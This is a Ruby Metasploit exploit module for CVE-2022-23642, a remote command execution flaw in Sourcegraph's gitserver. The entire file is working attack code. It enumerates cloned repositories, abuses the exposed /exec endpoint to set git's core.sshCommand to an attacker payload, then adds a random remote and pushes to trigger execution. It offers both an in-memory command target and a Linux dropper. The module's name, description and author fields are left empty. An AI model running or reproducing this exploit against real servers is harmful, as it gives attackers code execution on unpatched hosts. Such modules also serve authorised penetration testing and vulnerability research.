Spencer McIntyre
128 lines
3.5 KiB
Ruby
128 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => '',
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'Description' => %q{
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},
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'Author' => [
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],
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'References' => [
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['CVE', '2022-23642'],
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['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
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['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
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],
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'DisclosureDate' => '2022-02-18', # Public disclosure
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'License' => MSF_LICENSE,
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'Platform' => ['unix', 'linux'],
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'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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'Privileged' => true,
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_memory
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},
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],
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[
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'Linux Dropper',
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{
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :linux_dropper
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},
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]
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],
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'DefaultTarget' => 1,
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'DefaultOptions' => {
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'RPORT' => 3178
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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}
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)
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)
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register_options([
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OptString.new('TARGETURI', [true, 'Base path', '/']),
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OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
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])
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end
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def exploit
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if datastore['EXISTING_REPO'].blank?
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existing_repo = send_request_list.sample
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print_status("Using automatically identified repository: #{existing_repo}")
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else
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existing_repo = datastore['EXISTING_REPO']
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end
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print_status("Executing #{target.name} target")
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case target['Type']
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when :unix_memory
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execute_command(payload.encoded, 'repo' => existing_repo)
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when :linux_dropper
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execute_cmdstager('repo' => existing_repo)
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end
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end
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def send_request_exec(repo, args, timeout = 20)
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'exec'),
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'method' => 'POST',
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'data' => {
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'Repo' => repo,
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'Args' => args
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}.to_json
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}, timeout)
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res
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end
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def send_request_list
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'list'),
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'method' => 'GET',
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'vars_get' => { 'cloned' => 'true' }
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})
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fail_with(Failure::Unreachable, 'No server response') unless res
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fail_with(Failure::UnexpectedReply, 'Failed to list repositories') unless res.code == 200 && res.get_json_document.is_a?(Array)
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res.get_json_document
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end
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def execute_command(cmd, opts = {})
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repo = opts['repo']
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vprint_status('Setting the sshCommand')
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send_request_exec(repo, ['config', 'core.sshCommand', cmd])
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vprint_status('Setting a fake origin')
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origin = Rex::Text.rand_text_alphanumeric(rand(4..11))
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send_request_exec(repo, ['remote', 'add', origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"])
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vprint_status('Triggering command using push')
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send_request_exec(repo, ['push', origin, 'master'], 5)
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send_request_exec(repo, ['remote', 'remove', origin])
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end
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end
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